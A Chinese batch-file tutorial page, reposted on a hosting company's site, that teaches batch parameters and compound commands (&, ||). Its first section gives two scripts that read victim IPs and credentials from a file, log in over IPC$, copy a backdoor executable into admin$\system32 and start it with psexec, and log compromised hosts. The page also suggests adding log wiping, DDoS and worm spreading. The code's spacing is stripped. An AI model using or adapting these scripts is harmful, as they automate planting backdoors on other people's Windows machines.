学习使用批处理文件的意义第1/2页
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。 代码雏形: ---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------------- @echooff @if"%1"==""gotousage @for/f"tokens=1,2,3delims="%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k @gotoend :usage @echorunthisbatchindosmodle.orjustdouble-clickit. :end ---------------cutherethensaveasabatchfile(Icallitmain.bat)--------------------------- -------------------cutherethensaveasabatchfile(Icallitdoor.bat)----------------------------- @netuse\\%1\ipc$%3/u:"%2" @iferrorlevel1gotofailed @echoTryingtoestablishtheIPC$connection…………OK @copywindrv32.exe\\%1\admin$\system32&&ifnoterrorlevel1echoIP%1USER%2PWD%3>>ko.txt @psexec\\%1c:\winnt\system32\windrv32.exe @psexec\\%1netstartwindrv32&&ifnoterrorlevel1echo%1Backdoored>>ko.txt :failed @echoSorrycannotconnectedtothevictim. -----------------cutherethensaveasabatchfile(Icallitdoor.bat)-------------------------------- 这只是一个自动种植****批处理的雏形,两个批处理和****程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二.如何在批处理文件中使用参数 批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echooff if"%1"=="a"formata: :format @formata:/q/u/auotset @echopleaseinsertanotherdisktodriverA. @pause @gotofomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bata,呵呵,好像有点画蛇添足了~^_^ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把****地ippasswordusername当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echooff @netuse\\1%\ipc$"2%"/u:"3%"注意哦,这里PASSWORD是第二个参数。 @iferrorlevel1echoconnectionfailed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3 三.如何使用组合命令(CompoundCommand) 1.& Usage:第一条命令&第二条命令[&第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:\>dirz:&dirc:\Ex4rch Thesystemcannotfindthepathspecified. VolumeindriveChasnolabel. VolumeSerialNumberis0078-59FB Directoryofc:\Ex4rch 2002-05-1423:51 . 2002-05-1423:51 .. 2002-05-1423:5114sometips.gif 3. Usage:第一条命令 第二条命令[ 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:\Ex4rch>dirsometips.gif delsometips.gif VolumeindriveChasnolabel. VolumeSerialNumberis0078-59FB DirectoryofC:\Ex4rch 2002-05-1423:5514sometips.gif 1File(s)14bytes 0Dir(s)768,696,320bytes |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
上一篇: 用批处理实现映射盘网络盘为固定盘符,请更改冲突的硬盘盘符下一篇: win32下的命令行集合
关于学习使用批处理文件的意义第1/2页的所有评论